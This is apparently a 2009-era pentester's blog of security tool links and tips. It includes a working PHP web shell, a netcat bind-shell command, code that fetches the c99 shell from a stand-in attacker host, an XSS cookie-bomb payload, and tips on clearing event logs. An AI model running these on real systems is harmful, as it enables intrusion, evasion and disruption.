Bindshell’s Tools List

Makers of BeEF (Browser Exploitation Framework) have a bunch of other great tools:

http://www.bindshell.net/tools

Echo Mirage is one I have a lot of fun with. And Dnetj is a REALLY useful setup if you can get it going on some beefy boxes.

Metacab

http://www.phx2600.org/archive/2008/08/29/metacab/

Metacab is a cabinet file that contains Netcat, Nmap, VNC and other remote administration utilities that need only a Windows command shell, cmd.exe, to install and use. Install and uninstall scripts are included, and work is being completed on antivirus evasion.

CeWL – Custom Wordlist Generator

By @diginina

http://www.digininja.org/cewl.php

By default, CeWL sticks to just the site you have specified and will go to a depth of 2 links, this behavior can be changed by passing arguments. Be careful if setting a large depth and allowing it to go offsite, you could end up drifting on to a lot of other domains. All words of three characters and over are output to stdout. This length can be increased and the words can be written to a file rather than screen so the app can be automated.

Version 2 of CeWL can also create two new lists, a list of email addresses found in mailto links and a list of author/creator names collected from meta data found in documents on the site. It can currently process documents in Office pre 2007, Office 2007 and PDF formats. This user data can then be used to create the list of usernames to be used in association with the password list.

Backdooring OpenSSH by Ithilgore

http://sock-raw.org/netsec/sshbackdoor

Reverse Code Engineering Tool Library

The “Collaborative RCE Tool Library” is an awesome list of tools used for RE, but as with all tools, they can be used in a ton of different ways

http://www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools

Core Security Free Tools

http://www.coresecurity.com/content/open-source-projects

Structure of Microsoft PE Files

This is almost as bad as reading the IA32 Assembly manuals, but it’s a must read and it’s really not that long.

Everything you ever wanted to know about PE files:

http://msdn.microsoft.com/en-us/magazine/ms809762.aspx

Thanks cpwp from the Offensive Security forums for the link

Computer Hardware Cheat-Sheet Poster

It costs ($49) to get printed, but you can print it yourself. A great reference for anyone that has ever built a computer.

http://sonic840.deviantart.com/art/Computer-hardware-poster-1-7-111402099

Polypack – What packer is your friend?

This site checks your binaries against AV, packed and unpacked, then tells you what the best packer, if any would help you avoid AV. But remember, this means you are uploading your binary to a host that you don’t know.

http://polypack.eecs.umich.edu/w00tpc/

Ncat – Nmap’s new Netcat

Ncat adds many capabilities not found in Hobbit's original nc, including SSL support, proxy connections, IPv6, and connection brokering. The original nc contained a simple port scanner, but we omitted that from Ncat because we have a preferred tool for that function

http://nmap.org/ncat/guide/index.html

In-depth Windows Registry

Tim from the PenTest mailing list posted the following references that really delve deep into the Windows hive:

The Windows registry hive format is described here:
http://sentinelchicken.com/research/registry_format/
Also, some of Brendan Dolan-Gavitt's tools and blog
(http://moyix.blogspot.com/) posts may be helpful in figuring out
what's what in SAM hives.

Bypassing Software Restriction Policies

http://hype-free.blogspot.com/2009/07/bypassing-srp-from-powershell.html

Beating Linux ASLR

http://jbrownsec.blogspot.com/2009/07/beating-linux-aslr.html

Buffer Overflow examples

“Insecure Programming by Example” http://community.corest.com/~gera/InsecureProgramming/

These are great tutorials that you can compile and find your zerodays in them. (oh , then send them to a friend, use ServifyThis to make it a service and have you very own vuln)

Offsec LM Cracker

http://cracker.offensive-security.com/index.php

Trojan Key logging Screensaver

Ctrl-Alt-Del will save you ;-)

http://blog.rlr-uk.com/2009/06/trojan-keylogger-screensaver.html

Defcon CTF PreQuals Binary 300 Cartoon

This is an amazing cartoon done by the “Sapheads”

http://hackerschool.org/DefconCTF/17/B300.html

SpiderPig – Dynamic Data Flow Analysis

http://piotrbania.com/all/spiderpig/

BRAWNDO

They currently have a “Summer Special” for 22.00 a case.

http://www.reduxdirect.com

Paimei – Reverse Engineering Framework

http://code.google.com/p/paimei/

Script Your Documentation Instantly

A great project that allows documentation of network assets locally and over the network ;-) (SYDI). It does a lot that the Meterpreter script ‘winenum’ does, and a whole lot more. Most of it really doesn’t help you as an attacker, but it did spark a lot of good ideas, and sometimes you might not have the power of meterpreter at your beck & call.

http://sydiproject.com/

sslstrip

Can’t believe I never posted this, it’s Moxie’s sslstrip tool from BH DC 2009. Does some amazing things to help MITM ssl sessions.

http://thoughtcrime.org/software/sslstrip/index.html

WMI interfacing Python Script (nix)

http://dev.zenoss.org/svn/trunk/wmi/

Thanks to Joe McCray of http://www.learnsecurityonline.com/ for the link!

Validation

If you haven’t seen this video yet, it’s well worth the 16 minutes of your life (yes it is a bit corny):

Handwritten fronts – Presenters this is for you!

One of Garr Reynolds from Presentation Zen’s staples when creating a presentation is to use a unique font. Here is an amazing resource for handwritten fonts, which look GREAT on presentations:

http://www.hongkiat.com/blog/40-free-high-quality-hand-drawn-fonts/

PickAXE – Pragmatic Ruby

http://whytheluckystiff.net/ruby/pickaxe/

An awesome online resource for learning Ruby

Windows Heap Overflows using Process Environment Block (PEB)

After a bunch of googling to find out what PEB was I happened upon this old milw0rm paper, which answered that question and the one I was going to ask next: How is it used in exploitation:

http://milw0rm.org/papers/66

LordPE eat your heart out

Explorer Suite is awesome, here is their description:

A freeware suite of tools including a PE editor called CFF Explorer and a process viewer. The PE editor has full support for PE32/64. Special fields description and modification (.NET supported), utilities, rebuilder, hex editor, import adder, signature scanner, signature manager, extension support, scripting, disassembler, dependency walker etc. First PE editor with support for .NET internal structures. Resource Editor (Windows Vista icons supported) capable of handling .NET manifest resources. The suite is available for x86, x64 and Itanium.

http://ntcore.com/exsuite.php

System Call Ordinals for XP SP2 x64

http://indefinitestudies.org/2009/01/22/digging-up-system-calls-ordinals-on-xp-x64/

I apologize for not remembering who tweeted this to thank them. But thanks to Daniel Reynaud for posting it.

Nessus SCTP scanning

Stolen from: http://blog.tenablesecurity.com/2009/05/scanning-monitoring-for-sctp.html

Paul goes into a lot of meat and potatoes about SCTP but the juice is here:

To scan for SCTP on your network and check if you are vulnerable using Nessue:

Enable “IP Protocols Scan” under the “Misc” plug-in family, and check “Thorough tests(slow)” in the Advanced tab of the scan policy under “Global Variable Settings”.

Dan Guido’s Videos

At the current time of posting, there are a 10 videos that as a security professional, you NEED to watch. It’s free training from some of the best in the biz. Bookmark it.

http://www.vimeo.com/dguido

Fiddler and Watcher

Fiddler is a web debugger, and watcher is a plug-in that adds security testing options to Fiddler.

http://www.fiddler2.com/fiddler2/

Watcher (Fiddler plug-in): http://websecuritytool.codeplex.com/

HTTP over SMTP proxy

http://sectechno.wordpress.com/2009/06/10/http-over-smtp-proxy/

“Compile” python to a single executable

Here is a script David Kennedy (ReL1K) sent me a while back when we wrote a trojan for the Cyber Collegiate Defense Competition:

Just download py2exe, python setup.py install, then you have py2exe installed....

Say you have a file moo.py you want to compile, just take the code below and put it in a file called compile.py or something, modify it to change 'moo.py' to whatever py you want to compile and run python compile.py build py2exe and your all done. Super simple.

from distutils.core import setup
import py2exe, sys, os
# Hot Sex
sys.argv.append('py2exe')

setup(
    options = {'py2exe': {'bundle_files': 1}},
    console= [{'script': "moo.py"}],
    zipfile = None,
)

Pastebin has evolved.

Etherpad is a pastebin like site where you can edit on the fly… and so can a dozen other people. They actually do a REALLY good job at monitoring changes from everyone. There is also a chat feature, that way you aren’t notepad chatting, and an IMPORT functionality. Importing is great when your clipboard buffer just might not be good enough:

http://etherpad.com/

.. just wow.. (Google check them out, they nailed something you are STILL having problems with, but of course, you are still in BETA)

Web App Sec Testing Firefox Extension Collection

A really good list of extensions. The best way to do this is keep multiple copies of Portable Firefox with the addons. I would suggest naming the directories for each copy of Firefox accordingly and also editing their configuration to allow simultaneous starting and altering the title bar so that you can differentiate between the multiple instances.

https://addons.mozilla.org/en-US/firefox/collection/webappsec

Phenoelit

Tired of hitting the main site, and making the jump..

http://www.phenoelit-us.org/index.html

Windows functions to open a socket/connection

I hope to be using these links to use as part of .. you know what… I forgot, but I know it will come back to me and I’ll need these links, so I am storing them here. Muhahahah..

http://msdn.microsoft.com/en-us/library/ms738545(VS.85).aspx

http://www.ntkernel.com/w&p.php?id=7

CORE Security IE Zone Bypass MS09-019

CORE’s write-up + code: http://www.coresecurity.com/content/ie-security-zone-bypass

MS09-019 advisory: http://www.microsoft.com/technet/security/Bulletin/MS09-019.mspx

5 Security Holes at the Office (Video)

CSO interviewed Chris Nickerson and he showed a reporter 5 security problems a random office building had before he ever entered the building:

http://www.csoonline.com/article/494464/Social_Engineering_Security_Holes_at_the_Office_Includes_Video_

Play Free Online Games - no.. really

Huge list of games you play online that are free: http://play-free-online-games.com/

Addonics USB 2 NAS

A tiny device that turns any USB storage into a NAS: http://www.addonics.com/products/nas/nasu2.asp

Pluses and Minuses of forced SmartCard login

Registry Key:
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ScForceOption

Off Setting: DWORD=0
On Setting: DWORD=1

This option can make Kon-boot, OFFLINE NT PASSWORD RESET and some of HIREN’s PASSWORD tools pretty useless. But wait.. Can’t you edit the registry offline? Yup! (Be sure to pull the plug because “Computer” policies are applied BEFORE the logon prompt appears)

Lists of "Security Tools”

On the Security Focus: Penetration Testing List there was a great set of links to lists of tools:

http://sectools.org/

http://securitytoolslist.domandhost.com/

http://www.security-database.com/toolswatch/

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

http://backtrack.offensive-security.com/index.php/Tools

http://www.indianz.ch/ – Haven’t seen this one before. HUGE list of ‘interesting’ files.

And a VOIP specific list: http://www.voipsa.org/Resources/tools.php

ARPFreeze: Protection against ARP spoofing – Iron Geek style

So IronGeek puts out tons of videos and some pretty sweet tools. This one is no less awesome:

http://www.irongeek.com/i.php?page=security/arpfreeze-static-arp-poisoning

 

Technitium MAC Address Changer

So, yes, it can change your MAC address on your Windows box, but it does A LOT more. Definitely something to pull around with you on a USB stick.

http://www.technitium.com/tmac/index.html

WEPBuster – Perl Autohacking

A perl script that automates the whole process of WEP cracking.

http://code.google.com/p/wepbuster/

GNS3 Network Simulator

http://www.gns3.net/

Probably the best way of getting hands on a Cisco without buying one off of eBay. Tons of features and probably the only sim I’ve worked with that has the complete feature set of the actual devices. (Probably because you have to supply it with a real IOS file)

Crypto for Pentesters

Chris Eng does  a good job at explaining what you need to know:

http://video.google.com/videoplay?docid=-5187022592682372937

ISO Standards translated to “Plain English”

I don’t work with ISO standards, but definitely worth keeping the link

http://www.praxiom.com/

And on twitter: http://twitter.com/praxiom

Metasploit online payload generator

Just for those who didn’t know it was there:

http://metasploit.com:55555/PAYLOADS

New version of iKAT

iKat is a “Kiosk Attack Tool” the page is certainly NSFW:

http://ikat2.ha.cked.net

10 Questions you don’t want to ask in interviews

http://www.sfgate.com/cgi-bin/article.cgi?f=/g/a/2009/04/19/JOBSryan.DTL

1. "What does your company do?"
2. "Are you going to do a background check?"
3. "When will I be eligible for a raise?"
4. "Do you have any other jobs available?"
5. "How soon can I transfer to another position?"
6. "Can you tell me about bus lines to your facility?"
7. "Do you have smoking breaks?"
8. "Is [my medical condition] covered under your insurance?"
9. "Do you do a drug test?"
10. "If you hire me, can I wait until [more than three weeks from now] to start the job?"

Sandcat – Advanced Web App Sec Tester

There are tons of scanners/testers on the market, but this one’s feature set kinda caught my eye:

http://pentestit.com/2009/06/04/sandcat-advanced-web-application-security-tester/

As of now, the SandCat will scan for these fault injections:
* Buffer Overflow
* Cookie Manipulation
* Command Execution
* CRLF Injection
* Cross Frame Scripting
* Cross-Site Scripting (XSS)
* Default Account
* Directory Listing
* Directory Traversal
* File Inclusion
* Information Disclosure
* LDAP Injection
* MX Injection
* Password Disclosure
* Path Disclosure
* PHP Code Injection
* Server-Specific Vulnerabilities: IIS / iPlanet / Others
* Source Code Disclosure
* SQL Injection
* XPath Injection
* Miscellaneous

What is a Rootkit? You sure?

A very well written article on some of the history and details of what a “rootkit” is:

http://www.omninerd.com/articles/r00tkit_Analysis_What_Is_A_Rootkit/print_friendly

Technorati Tags: rootkit,hacking,history,security

“Underground Hacking” Links

Technorati Tags: hacking,security,links,underground

Here are just some sites that I wanted to get off my open tabs and check out later – standard warning applies, do not inherently trust what you find on these pages:

http://hackxcrack.es/

http://www.darkc0de.com/index.shtml

http://www.playhack.net/

http://trythis0ne.com/?page=toolz

http://avhackers.com/index.php

https://www.ihteam.net/#

http://www.w4ck3d.org/forums/

http://www.megapanzer.com (Yes you have seen this one before, but in reference to their RAT)

http://hackforums.net

================================

Un.Aware eZine ( http://www.awarenetwork.org/etc/)

Uninformed eZine ( http://uninformed.org/? )

Phrack eZine ( http://phrack.org/ )

Phrack issue #64 by TCOLH - “A brief history of the Underground scene: ( http://phrack.org/issues.html?issue=64&id=4&mode=txt )

Force Windows Update Script

Stolen from: http://msmvps.com/blogs/athif/pages/66375.aspx

Copy and Paste the code below into a text file and name it AUForceUpdate.cmd


=======================================================================
@echo off
Echo This batch file will Force the Update Detection from the AU client: 
Echo 1. Stops the Automatic Updates Service (wuauserv)
Echo 2. Deletes the LastWaitTimeout registry key (if it exists) 
Echo 3. Deletes the DetectionStartTime registry key (if it exists) 
Echo 4. Deletes the NextDetectionTime registry key (if it exists)
Echo 5. Restart the Automatic Updates Service (wuauserv) 
Echo 6. Force the detection 
Pause
@echo on
net stop wuauserv
REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v LastWaitTimeout /f
REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v DetectionStartTime /f
Reg Delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v NextDetectionTime /f
net start wuauserv
wuauclt /detectnow
@echo off
Echo This AU client will now check for the Updates on the Local WSUS Server.
Pause
==================================================================

tail -f, I must leave you for another

Stolen from: http://www.shell-fu.org/lister.php?id=820

tail -f

This tails the log file and the '-f' tells tail to follow the file, so anything new added to the file will also be printed to the screen.

Another option is:

less +F /var/log/messages

The +F option turns on less 'follow mode'. It is similar to tail -f but you will have the benefits of less, like scrolling up and down. To stop tailing, use Ctrl-C and to resume it, press Shift-F.

Durzosploit - Javascript Exploit Generator

Takes script('XSS Working'); to the next level:
http://engineeringforfun.com/wiki/index.php/Durzosploit_Introduction

Detecting Packers in Network Streams

http://www.malforge.com/node/12

PeID + TcpDump = nPeID

A Cheat, A Method and a Book

So I wanted to get these down before they scrolled by in twitter:

Nick Harbour's Reverse Engineering Cheat Sheet:

http://www.rnicrosoft.net/docs/X86_Win32_Reverse_Engineering_Cheat_Sheet.pdf


Lenny Zeltser's Reverse Egineering Cheat Sheet:

http://www.zeltser.com/reverse-malware/reverse-malware-cheat-sheet.html


And the Unix Toolbox. DO NOT underestimate the power of this booklet:

http://cb.vu/unixtoolbox.xhtml

Defcon CTF and Qualifiers: Past Challenges and Answers

Even if you have never, nor are signed up to compete this year, there is a ton of learning to be had just from what they have done in the past. Take the time to look at the answers and learn from them.
http://nopsr.us/

100 Free Online Courses (MIT and such)

DIY CISS Degree: 100 Open Courses on Computer Information Systems and Security

http://www.computer-colleges.com/blog/2009/diy-ciss-degree-100-open-courses-on-computer-information-systems-and-security/

Tarantula - A fuzzing spider

The only homepage I could find: http://github.com/relevance/tarantula

Their quote:

a big hairy fuzzy spider that crawls your site, wreaking havoc

Haven't tried it yet, plan to.

Handwriting Analysis book on Scribd

If you haven't checked out Scribd before, there are a bunch of great books for free there. One of which is:

Handwriting Analysis & Success Secrets by Bart A Baggett

http://www.scribd.com/doc/2902062/Handwriting-Analysis-Success-Secrets-Bart-A-Baggett

Danzer - ActiveX Fuzzer

http://www.cert.org/vuls/discovery/dranzer.html

Here is what they say about it:

Attackers frequently take advantage of vulnerabilities in ActiveX controls to compromise systems using Microsoft Internet Explorer. A programming or design flaw in an ActiveX control can allow an attacker to execute arbitrary code by convincing a user to view a specially crafted web page. Since 2000, we have seen a significant increase in vulnerabilities in ActiveX controls.

We have developed Dranzer, a tool that enables users to examine effective techniques for fuzz testing ActiveX controls. By testing a large number of ActiveX controls, we can provide some insight into the current state of ActiveX security. When we discover new vulnerabilities, we practice responsible disclosure principles and perform the necessary remediation steps.

OfficeCat: Look for Exploits in MS Office Documents

Recently commented on by BreakingPoint (here) as the tool to use when looking for exploits in Office Documents.

Created by Lurene Grenier of the Sourcefire VRT:
http://www.snort.org/vrt/tools/officecat.html

PHP 1-line execute

<?php system($_GET[cmd]);?>

echo that to a file on a system, or use the previous example to call it, and you can run http://victim.com/whatever.php?cmd=nc -lvp 4040 -e /bin/bash and you'll have a shell waiting for you.

Load txt file as PHP

A pretty sick use of php ;-)

       $shell = "http://attacker.com/c99madshell.txt"; //use something less obvious like readme.txt
       $code = file_get_contents($shell);
       $fp=fopen("Sh3ll.php","w+");
       fwrite($fp, $code);
       fclose($fp);
?>

Shell Code Development

Place has some pretty sick shellcode: http://www.shell-storm.org/

Huge List of Online Crackers

Don't know if all of these are online still or not:
SOURCE:(http://blackhat.ge/?page_id=29)

http://www.milw0rm.com/cracker/
http://www.plain-text.info/add/
http://www.securitystats.com/tools/hashcrack.php
http://www.passcrack.spb.ru/
http://gdataonline.com/seekhash.php
http://www.md5-brute.com/
http://www.md5encryption.com/
http://www.insidepro.com/hashes.php?lang=rus
http://www.cirt.net/cgi-bin/passwd.pl
http://passcracking.ru
http://www.hashchecker.com/?_sls=add_hash
http://www.tydal.nu/category/
http://md5.dustinfineout.com/
http://www.md5-db.com/
http://www.md5hashes.com/
http://sha1search.com/
http://md5.xpzone.de/
http://www.csthis.com/md5/
http://md5.benramsey.com/
http://www.md5this.com/crack-it-/index.php
http://hackerscity.free.fr/
http://ice.breaker.free.fr/
http://md5search.deerme.org/
http://www.md5decrypter.com/
http://securitydb.org/cracker/
http://plain-text.info/index/
http://www.tmto.org/?category=main&page=home
http://md5.geeks.li/
http://hashreverse.com/
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en
http://md5crack.it-helpnet.de/index.php?op=add
https://astalavista.net/index.php?
http://md5search.uk.to/

md5:
http://74.52.200.226/~b4ck/passhash/index.php
http://www.tmto.org/
http://md5.rednoize.com
http://nz.md5.crysm.net
http://us.md5.crysm.net
http://www.xmd5.org
http://gdataonline.com
http://www.hashchecker.com
http://passcracking.ru
http://www.milw0rm.com/md5
http://plain-text.info
http://www.securitystats.com/tools/hashcrack.php
http://www.schwett.com/md5/ - Does Norwegian words too
http://passcrack.spb.ru/
http://shm.pl/md5/
http://www.und0it.com/
http://www.neeao.com/md5/
http://md5.benramsey.com/
http://www.md5decrypt.com/
http://md5.khrone.pl/
http://www.csthis.com/md5/index.php
http://www.md5decrypter.com/
http://www.md5encryption.com/
http://www.md5database.net/
http://md5.xpzone.de/
http://md5.geeks.li/
http://www.hashreverse.com/
http://www.cmd5.com/english.aspx
http://www.md5.altervista.org/
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en
http://alimamed.pp.ru/md5/ (for those who can’t read russian: put your md5 in the second box)
http://md5crack.it-helpnet.de/index.php?op=add
http://cijfer.hua.fi/
http://shm.hard-core.pl/md5/
http://www.mmkey.com/md5/HOME.ASP
http://www.thepanicroom.org/index.php?view=cracker
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
http://www.securitydb.org/cracker/
http://passwordsecuritycenter.com/in…roducts_ id=7
http://0ptix.co.nr/md5
https://www.astalavista.net/?cmd=rainbowtables
http://ice.breaker.free.fr/
http://www.md5this.com
http://www.pldsecurity.de/forum/md5.php
http://www.xeons.net/genesis/
http://hackerscity.free.fr/
http://bisix.cogia.net/
http://md5.allfact.info/
http://bokehman.com/cracker/
http://www.tydal.nu/article/md5-crack/
http://ivdb.org/search/md5/
http://md5.netsons.org/
http://md5.c.la/
http://www.jock-security.com/md5_database/?page=crack
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.blackfiresecurity.com/tools/md5lib.php
http://www.md5-db.com/index.php

md4:
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/

sha1:
http://passcrack.spb.ru/
http://www.hashreverse.com/
http://rainbowcrack.com/
http://www.md5encryption.com/
http://www.shalookup.com/
http://md5.rednoize.com/
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.tmto.org/


Misc:
http://linardy.com/md5.php
http://www.gdataonline.com/seekhash.php
https://www.w4ck1ng.com/cracker/
http://search.cpan.org/~blwood/Digest-MD5-Reverse-1.3/
http://www.hashchecker.com/index.php?_sls=search_hash
http://www.rainbowcrack-online.com/
http://schwett.com/md5/
http://www.md5.org.cn/index_en.htm
http://www.xmd5.org/index_en.htm
http://nz.md5.crysm.net/
http://us.md5.crysm.net/
http://gdataonline.com/seekhash.php
http://passcracking.ru/
http://shm.pl/md5/
http://www.neeao.com/md5/
http://md5.benramsey.com/
http://www.md5decrypt.com/
http://md5.khrone.pl/
http://www.csthis.com/md5/index.php
http://www.md5decrypter.com/
http://www.md5encryption.com/
http://www.md5database.net/
http://md5.xpzone.de/
http://www.hashreverse.com/
http://alimamed.pp.ru/md5/
http://md5crack.it-helpnet.de/index.php?op=add
http://shm.hard-core.pl/md5/
http://rainbowcrack.com/
http://passwordsecuritycenter.com/index.ph…p;products_id=7
https://www.astalavista.net/?cmd=rainbowtables
http://ice.breaker.free.fr/
http://www.md5this.com/
http://hackerscity.free.fr/
http://md5.allfact.info/
http://bokehman.com/cracker/
http://www.tydal.nu/article/md5-crack/
http://passcracking.com/
http://ivdb.org/search/md5/
http://md5.netsons.org/
http://md5.c.la/
http://www.md5-db.com/index.php
http://md5.idiobase.de/
http://md5search.deerme.org/
http://sha1search.com/

User Profile Deletion Utility

Great for clean up. Upload, run, clear/fill event logs. Disappear. ;-)

http://www.microsoft.com/downloads/details.aspx?familyid=901a9b95-6063-4462-8150-360394e98e1e&displaylang=en

Index of PHP Shells

REVIEW THE CODE BEFORE USING ANY WEB SHELL!!

http://blacknite.eu/php_shells/

Finding SUID/SGID root programs

Source: http://www.faqs.org/docs/securing/chap5sec62.html

EDIT: It doesn't look like it, but it's all one line:

find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;

WIGS - Website Information Gathering Scanner

A TON of information, in one click without touching the site yourself.. ;-)

http://sucuri.net/index.php?page=scan

Also, my other favorite is: http://www.serversniff.net/

List of x86 Instructions

http://www.penguin.cz/~literakl/intel/intel.html

Don't Censor Me!

http://www.dontcensorme.org/

LeetUpload.com

An awesome repository of interesting do-dads and toys for hackers / security 'pros'

Proceed with caution. There are pointy objects ahead:
http://www.leetupload.com/

"Official" Metasploit Documentation

Start here:
http://en.wikibooks.org/wiki/Metasploit/Contents

Then here:
http://trac.metasploit.com/wiki/TitleIndex

You can also get an idea of how massive Metasploit is here:
http://www.ohloh.net/p/metasploit/analyses/latest

Hex Editor - Frhed

I've been searching for a free hex editor that had the features I need and the search is finally over.

http://frhed.sourceforge.net/

Thanks @marcusjcarey

XSS based Client-side DoS

Makes the client's cookie for the site per subdomain 200kb.
http://pastebin.com/f3dfe04f7

/*<script>/*code to create a 200KB of cookies per subdomain*/with(document)domain.replace(/[^.]*\.?/g,function(a){try{domain=domain.replace(a,"")}catch(e){a=""}finally{for(i=0;i<50;i++)cookie=i+"="+Array(4095)+";expires=9 Jan 2038 23:59 GMT;path=/;domain=."+a+domain}})//</script>

I pasted the code in case it gets lost on Pastebin

Fravia's Swansong

http://fravia.com/swansong.htm

This is why you're fat

Not security related, but hilarious. Come on, who hasn't had a Choco Taco.
http://thisiswhyyourefat.com

Vbootkit 2.0 now open source (GPL)

http://www.nvlabs.in/archives/8-Vbootkit-2.0-is-now-open-source-under-GPL-license.html

Bernardo Damele - "SQL injection: Not only AND 1=1"

http://video.google.com/videoplay?docid=129190988572738701

Stock Photo Sites

Links to 16 of them. Why is this good for you? It will help with those presentations you have to give:
http://www.softalize.com/2009/04/14/16-ultimate-collection-of-free-stock-photo-sites/

ErrMess

Another really fun RAT to play with: http://www.errmess.com/

Megapanzer

RAT, and some interesting history dumping ;-)

http://www.megapanzer.com/source-code/

Secret stashes of Rainbow Tables - WPA, NTLM, LM, MD5 etc.

So for the WPA tables check out:http://www.offensive-security.com/wpa-tables/
including the password file that was used to generate them: http://www.offensive-security.com/wpa-tables/wpalist.txt.tar.bz2

And for everything else you can get them here: http://rt.0x80.org/

Know of another stash? comment so we can get a list going..

Nick Harbour's tools

And yes, even PEScambler ;-)
http://www.rnicrosoft.net/

Security Docs (beta)

http://secdocs.lonerunners.net/

Undocumented Functions of Windows

http://undocumented.ntinternals.net/

Web Sniffer

Good site for recon without touching the host:

http://web-sniffer.net

NIST Vulnerability Database Search

Better than OSVDB?
http://web.nvd.nist.gov/view/vuln/search?execution=e2s1

Virtual Appliances for the Security Pro

http://tssci-security.com/archives/2009/03/18/virtual-appliances-for-the-security-professional/

Saved Password Locations

Hmm... not sure if this was an intended side effect or not ;-)
http://www.nirsoft.net/blog/2008/11/saved-password-locations.html

Metric $... Ton of Fuzzers

http://www.krakowlabs.com/lof.html

VELite

Revert to snapshot, download anything install anything and be back to a normal desktop quick? Sweet, sounds like something my mom and my honeypot can use.
http://www.secureol.com/downloadVElite.htm

Browser Security Handbook

mmmmm crunchy: http://code.google.com/p/browsersec/

SSLStrip Video - John Strand

http://www.vimeo.com/3970303